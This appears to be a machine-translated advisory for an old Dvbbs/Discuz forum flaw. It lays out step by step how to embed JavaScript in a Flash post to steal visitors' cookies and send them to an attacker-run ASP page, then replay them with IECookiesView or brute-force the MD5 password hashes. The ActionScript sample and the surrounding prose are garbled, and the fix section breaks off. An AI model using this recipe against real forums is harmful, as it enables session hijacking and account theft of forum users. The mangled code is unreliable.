The honor of irrigation company produced
◇ This vulnerability involves the version::
Dvbbs, discus all versions, other forums have not been tested, believe that most of the vulnerability exists
◇ Description:
As Dvbbs and other forums on the Flash play form, resulting in the attacker can use flash embed a section of JavaScript code, to steal the user's cookies
◇ Specific analysis and utilization:
1. First prepare a space to run ASP to store cookies
2. Create a new Flash animation, add the following code:
Onclipevent (load) {
Url= "Javascript:var rng=document.selection.createrange (); rng.pastehtml (" <iframe name=frame_hide style= ' Display : None ' ></iframe> ");"
GetURL (URL);
}
The use of IFRAME is to allow others to find the program's page jump
3. Export FLASH as a SWF file, insert into the forum where you want to steal cookies, add code [Flash=0,0]http://flash address [/flash] (note, some forums are [swf][/swf])
4. In this way, if a user enters the post, the JavaScript program will send the user's cookies to writecookies.asp and save them to the database
5. As for the cookie cheat, recommend to use IECookiesView, many tutorials have introduced, here is not much to say
◇ Remark
1. For the forum to disable flash, you can also use the PNG format image embedded code to steal
2. After the cookie, the password is the MD5 algorithm encrypted string, if you like to use violence, you can try to decode, of course, the individual is not recommended this method
◇ Solution:
1. Disable flash, or change flash to link format, to move the network as an example, modify the inc/ubbcode.asp file
Find the following two paragraphs
Re. Pattern= "([FLASH]) (. [ ^[]*) ([/flash]) "
Strcontent= Re. Replace (strcontent, "<a href=" "$" "Target=_blank>[Full Screen appreciation]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid= clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=500 height=400><param Name=movie value= "" $ "" ><PARAM Name=quality value=high><embed src= "" $ "" Quality=high pluginspage= ' http://www.macromedia.com/shockwave/ Download/index.cgi? P1_prod_version=shockwaveflash ' type= ' Application/x-shockwave-flash ' width=500 height=400>$2</embed>< /object> ")
